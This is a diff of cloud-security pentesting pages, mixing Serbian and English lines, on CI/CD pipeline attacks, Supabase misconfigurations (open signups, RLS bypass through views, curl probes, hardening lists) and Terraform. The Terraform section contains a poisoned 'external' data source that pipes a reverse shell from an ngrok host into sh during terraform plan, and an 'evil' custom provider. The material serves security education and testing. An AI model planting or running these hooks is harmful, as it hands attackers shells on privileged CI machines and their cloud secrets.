- **Compromise production**: Ако сте у pipeline-у и коначна верзија се гради и деплојује из ње, можете **компромитовати code који ће се наћи у production-у**.
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) је open-source алат за аудиторске провере вашег software supply chain стека у смислу сигурности, базиран на новом [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит се фокусира на цео SDLC процес, где може открити ризике од code-а до deploy-а.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
### Top 10 CI/CD Security Risk
Погледајте овај занимљив чланак о top 10 CI/CD ризицима према Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- На свакој платформи коју можете покренути локално наћи ћете упутство како да је покренете локално да је конфигуришете по вољи за тестирање
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** је static code analysis алат за infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
## References

File diff suppressed because it is too large Load Diff

View File

@@ -1,26 +1,26 @@
# Supabase sigurnost
# Supabase Security
{{#include ../banners/hacktricks-training.md}}
## Osnovne informacije
## Basic Information
Prema njihovoj [**landing page**](https://supabase.com/): Supabase je open source alternativa Firebase-u. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
### Subdomain
U osnovi, kada se projekat kreira, korisnik će dobiti supabase.co subdomen kao: **`jnanozjdybtpqgcwhdiz.supabase.co`**
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
## **Konfiguracija baze podataka**
## **Database configuration**
> [!TIP]
> **Ovi podaci su dostupni putem linka poput `https://supabase.com/dashboard/project/<project-id>/settings/database`**
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
Ova **database** će biti deploy-ovana u nekom AWS regionu, i da biste se povezali na nju bi bilo moguće povezati se na: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
Lozinka je **lozinka koju je korisnik ranije uneo**.
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
The password is a **password the user put** previously.
Dakle, pošto je subdomen poznat i koristi se kao username, a AWS regioni su ograničeni, možda bi bilo moguće pokušati **brute force the password**.
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
Ovaj odeljak takođe sadrži opcije za:
This section also contains options to:
- Reset the database password
- Configure connection pooling
@@ -28,22 +28,23 @@ Ovaj odeljak takođe sadrži opcije za:
- Configure Disk size
- Apply network restrictions and bans
## Konfiguracija API-ja
## API Configuration
> [!TIP]
> **Ovi podaci su dostupni putem linka poput `https://supabase.com/dashboard/project/<project-id>/settings/api`**
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
URL za pristup supabase API-ju u vašem projektu biće poput: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
### anon api keys
Takođe će generisati jedan **anon API key** (`role: "anon"`), poput: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` koji će aplikacija morati da koristi da bi kontaktirala API izložen u našem primeru u
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
Moguće je pronaći REST API za kontaktiranje ovog API-ja u [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ali najzanimljiviji endpoints biće:
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
<details>
<summary>Registracija (/auth/v1/signup)</summary>
<summary>Signup (/auth/v1/signup)</summary>
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -68,11 +69,13 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
<details>
<summary>Prijava (/auth/v1/token?grant_type=password)</summary>
<summary>Login (/auth/v1/token?grant_type=password)</summary>
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -97,165 +100,173 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
Dakle, kad god otkrijete klijenta koji koristi supabase sa poddomenom koji im je dodeljen (moguće je da poddomen kompanije ima CNAME koji pokazuje na njihov supabase poddomen), možete pokušati da **kreirate novi nalog na platformi koristeći supabase API**.
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
### secret / service_role API ključevi
### secret / service_role api keys
Takođe će biti generisan tajni API ključ sa **`role: "service_role"`**. Ovaj API ključ treba da bude tajan zato što će moći da zaobiđe **Row Level Security**.
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
### JWT Secret
Takođe će biti generisana **JWT tajna** tako da aplikacija može **kreirati i potpisivati prilagođene JWT tokene**.
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
## Autentifikacija
## Authentication
### Registracije
### Signups
> [!TIP]
> Podrazumevano, supabase će dozvoliti **novim korisnicima da kreiraju naloge** na vašem projektu koristeći prethodno pomenute API endpoints.
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
Međutim, ovi novi nalozi, po defaultu, **će morati da potvrde svoju email adresu** da bi mogli da se prijave na nalog. Moguće je omogućiti opciju **"Allow anonymous sign-ins"** da bi ljudi mogli da se prijave bez verifikacije email adrese. Ovo može omogućiti pristup **neočekivanim podacima** (dobijaju uloge `public` i `authenticated`).\
Ovo je vrlo loša ideja jer supabase naplaćuje po aktivnom korisniku, pa bi ljudi mogli da kreiraju korisnike i prijavljuju se, i supabase će za to naplatiti:
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
#### Auth: Sprovođenje ograničenja registracije na serverskoj strani
#### Auth: Server-side signup enforcement
Sakrivanje dugmeta za registraciju u frontend-u nije dovoljno. Ako **Auth server i dalje dozvoljava registracije**, napadač može direktno pozvati API koristeći javni `anon` ključ i kreirati proizvoljne korisnike.
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
Quick test (from an unauthenticated client):
Brz test (iz neautentifikovanog klijenta):
```bash
curl -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
```
Preporučene mere bezbednosti:
- Onemogućite email/password signups u Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), ili podesite ekvivalentnu GoTrue postavku.
- Proverite da API sada vraća 4xx na prethodni poziv i da nije kreiran novi korisnik.
- Ako se oslanjate na invites ili SSO, osigurajte da su svi ostali providers onemogućeni osim ako nisu eksplicitno potrebni.
## RLS i Views: Write bypass via PostgREST
Expected hardening:
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
- Verify the API now returns 4xx to the previous call and no new user is created.
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
Korišćenje Postgres VIEW-a za „skrivanje“ osetljivih kolona i izlaganje preko PostgREST-a može promeniti način na koji se procenjuju privilegije. U PostgreSQL-u:
- Ordinary views izvršavaju se sa privilegijama vlasnika view-a po defaultu (definer semantics). U PG ≥15 možete se prebaciti na `security_invoker`.
- Row Level Security (RLS) se primenjuje na osnovne tabele. Vlasnici tabela zaobilaze RLS osim ako nije podešen `FORCE ROW LEVEL SECURITY` na tabeli.
- Updatable views mogu prihvatiti INSERT/UPDATE/DELETE koji se zatim primenjuju na osnovnu tabelu. Bez `WITH CHECK OPTION`, upisi koji ne odgovaraju predikatu view-a i dalje mogu uspeti.
## RLS and Views: Write bypass via PostgREST
Primećen obrazac rizika:
- View sa smanjenim brojem kolona je izložen preko Supabase REST i dodeljen `anon`/`authenticated`.
- PostgREST dozvoljava DML na updatable view-u, a operacija se procenjuje sa privilegijama vlasnika view-a, efektivno zaobilazeći predviđene RLS politike na osnovnoj tabeli.
- Rezultat: klijenti sa niskim privilegijama mogu masovno menjati redove (npr. profile bios/avatars) koje ne bi trebali moći da izmenjuju.
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that dont match the view predicate may still succeed.
Risk pattern observed in the wild:
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owners privileges, effectively bypassing the intended RLS policies on the base table.
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
Illustrative write via view (attempted from a public client):
Ilustrativan upis preko view-a (pokušano sa javnog klijenta):
```bash
curl -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
```
Kontrolna lista za ojačavanje za poglede i RLS:
- Preferirajte izlaganje osnovnih tabela sa eksplicitnim grantovima najmanjih privilegija i preciznim RLS politikama.
- Ako morate izložiti pogled:
- Učinite ga ne ažurirajućim (npr. uključivanjem izraza/joins) ili odbijte `INSERT/UPDATE/DELETE` na pogledu za sve nepouzdane role.
- Primorajte `ALTER VIEW <v> SET (security_invoker = on)` tako da se koriste privilegije pozivaoca umesto vlasnika.
- Na osnovnim tabelama koristite `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` tako da su čak i vlasnici podložni RLS.
- Ako dopuštate pisanje preko ažurirajućeg pogleda, dodajte `WITH [LOCAL|CASCADED] CHECK OPTION` i komplementarne RLS politike na osnovnim tabelama da biste osigurali da se mogu pisati/menjati samo dozvoljeni redovi.
- U Supabase-u, izbegavajte dodeljivanje bilo kakvih privilegija za pisanje `anon`/`authenticated` na poglede, osim ako niste verifikovali end-to-end ponašanje putem testova.
Savet za detekciju:
- Iz `anon` i test korisnika `authenticated` pokušajte sve CRUD operacije nad svakom izloženom tabelom/pogledom. Bilo koje uspešno pisanje gde ste očekivali odbijanje ukazuje na pogrešnu konfiguraciju.
Hardening checklist for views and RLS:
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
- If you must expose a view:
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invokers privileges are used instead of the owners.
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
### OpenAPI-pokrenuto ispitivanje CRUD operacija iz anon/auth rola
Detection tip:
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
PostgREST izlaže OpenAPI dokument koji možete koristiti za enumeraciju svih REST resursa, a zatim automatski ispitati dozvoljene operacije iz rola sa niskim privilegijama.
### OpenAPI-driven CRUD probing from anon/auth roles
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
Fetch the OpenAPI (works with the public anon key):
Preuzmite OpenAPI (radi sa javnim anon ključem):
```bash
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
```
Probe pattern (primeri):
- Pročitaj jedan red (očekuje se 401/403/200 u zavisnosti od RLS):
Probe pattern (examples):
- Read a single row (expect 401/403/200 depending on RLS):
```bash
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
```
- Proverite da li je UPDATE blokiran (koristite nepostojeći filter da izbegnete menjanje podataka tokom testiranja):
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
```bash
curl -i -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
- Test INSERT je blokiran:
- Test INSERT is blocked:
```bash
curl -i -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
```
- Test DELETE je blokiran:
- Test DELETE is blocked:
```bash
curl -i -X DELETE \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
Preporuke:
- Automatizujte prethodne probe za oba `anon` i minimalno `authenticated` korisnika i integrišite ih u CI kako biste uhvatili regresije.
- Smatrajte svaku izloženu table/view/function kao primarnu površinu. Ne pretpostavljajte da view „nasleđuje“ isti RLS post kao svoje osnovne tabele.
### Lozinke & sesije
Recommendations:
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
- Treat every exposed table/view/function as a first-class surface. Dont assume a view “inherits” the same RLS posture as its base tables.
Moguće je odrediti minimalnu dužinu lozinke (po defaultu), zahteve (nema ih po defaultu) i zabraniti korišćenje leaked lozinki.\
Preporučuje se da **poboljšate zahteve jer su podrazumevani slabi**.
### Passwords & sessions
- User Sessions: Moguće je konfigurisati kako korisničke sesije funkcionišu (timeouti, 1 sesija po korisniku...)
- Bot and Abuse Protection: Moguće je omogućiti Captcha.
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
It's recommended to **improve the requirements as the default ones are weak**.
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
- Bot and Abuse Protection: It's possible to enable Captcha.
### SMTP Settings
Moguće je podesiti SMTP za slanje emailova.
It's possible to set an SMTP to send emails.
### Advanced Settings
- Podesite vreme isteka access tokens (3600 po defaultu)
- Podesite detekciju i opoziv potencijalno kompromitovanih refresh tokena i timeout
- MFA: Naznačite koliko MFA faktora može biti registrovano odjednom po korisniku (10 po defaultu)
- Max Direct Database Connections: Maksimalan broj konekcija korišćenih za auth (10 po defaultu)
- Max Request Duration: Maksimalno dozvoljeno trajanje Auth zahteva (10s po defaultu)
- Set expire time to access tokens (3600 by default)
- Set to detect and revoke potentially compromised refresh tokens and timeout
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
## Storage
> [!TIP]
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
- Podesite ograničenje veličine uploadovanih fajlova (podrazumevano 50MB)
- Set the upload file size limit (default is 50MB)
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- Moguće je **request S3 access key** koji se sastoje od `access key ID` (npr. `a37d96544d82ba90057e0e06131d0a7b`) i `secret access key` (npr. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
## Edge Functions
Moguće je takođe **store secrets** u supabase koji će biti **accessible by edge functions** (mogu se kreirati i obrisati iz web interfejsa, ali nije moguće direktno pristupiti njihovim vrednostima).
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
## References

View File

@@ -1,130 +1,140 @@
# Terraform sigurnost
# Terraform Security
{{#include ../banners/hacktricks-training.md}}
## Osnovne informacije
## Basic Information
[Iz dokumentacije:](https://developer.hashicorp.com/terraform/intro)
[From the docs:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform je alat za infrastrukturu kao kod koji vam omogućava da definišete i cloud i on-prem resurse u ljudski čitljivim konfiguracionim fajlovima koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti konzistentan workflow da obezbedite i upravljate svojom infrastrukturom kroz ceo njen životni ciklus. Terraform može da upravlja niskonivo komponentama kao što su compute, storage i networking resursi, kao i visokog nivoa komponentama kao što su DNS unosi i SaaS funkcionalnosti.
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
#### Kako Terraform radi?
#### How does Terraform work?
Terraform kreira i upravlja resursima na cloud platformama i drugim servisima preko njihovih application programming interfaces (APIs). Providers omogućavaju Terraformu da radi sa gotovo bilo kojom platformom ili servisom koji ima dostupno API.
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
![](<../images/image (177).png>)
HashiCorp i Terraform zajednica su već napisali više od 1700 providera za upravljanje hiljadama različitih tipova resursa i servisa, i taj broj nastavlja da raste. Sve javno dostupne providere možete naći na [Terraform Registry](https://registry.terraform.io/), uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, i mnoge druge.
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
Osnovni Terraform workflow se sastoji iz tri faze:
The core Terraform workflow consists of three stages:
- **Write:** Definišete resurse, koji mogu biti raspoređeni preko više cloud providera i servisa. Na primer, možete napraviti konfiguraciju za deploy aplikacije na virtualnim mašinama u Virtual Private Cloud (VPC) mreži sa security grupama i load balancer-om.
- **Plan:** Terraform kreira execution plan koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
- **Apply:** Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine.
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
![](<../images/image (215).png>)
### Terraform Lab
Samo instalirajte terraform na svoj računar.
Just install terraform in your computer.
Evo vam [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) i ovde imate [best way to download terraform](https://www.terraform.io/downloads).
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
## RCE in Terraform: config file poisoning
Terraform **nema platformu koja izlaže web stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform mogućnost da dodamo/izmenimo terraform konfiguracione fajlove ili mogućnost da izmenimo terraform state fajl (vidi poglavlje niže).
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
Međutim, terraform je **veoma osetljiva komponenta** za kompromitovanje jer će imati **privilegovan pristup** različitim lokacijama da bi pravilno radio.
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
Glavni način da napadač kompromituje sistem gde terraform radi je da **kompromituje repozitorijum koji čuva terraform konfiguracije**, jer će se te konfiguracije u nekom trenutku **interpretirati**.
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
U stvari, postoje rešenja koja **automatski izvršavaju terraform plan/apply nakon što se kreira PR**, kao što je **Atlantis**:
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
Ako možete kompromitovati terraform fajl, postoje različiti načini da izvedete RCE kada neko izvrši `terraform plan` ili `terraform apply`.
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
### Terraform plan
Terraform plan je **najčešće korišćena komanda** u terraformu i developeri/solucije koje koriste terraform je često pozivaju, tako da je **najnajlakši način da dobijete RCE** da se postarate da unesete otrov u terraform config fajl koji će izvršiti proizvoljne komande u `terraform plan`.
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
**Korišćenje external providera**
**Using an external provider**
Terraform nudi [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) koji obezbeđuje način interfejsa između Terraforma i eksternih programa. Možete koristiti `external` data source da pokrenete proizvoljan kod tokom `plan`.
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
Ubacivanje u terraform konfiguracioni fajl nečega kao sledeće će izvršiti rev shell prilikom izvršavanja `terraform plan`:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Korišćenje custom providera**
Napadač može poslati [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) na [Terraform Registry](https://registry.terraform.io/) i zatim ga dodati u Terraform kod u feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
**Using a custom provider**
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
```
Provider se preuzima pri `init` i pokrenuće maliciozni kod kada se izvrši `plan`
Možete pronaći primer na [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
**Korišćenje spoljne reference**
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
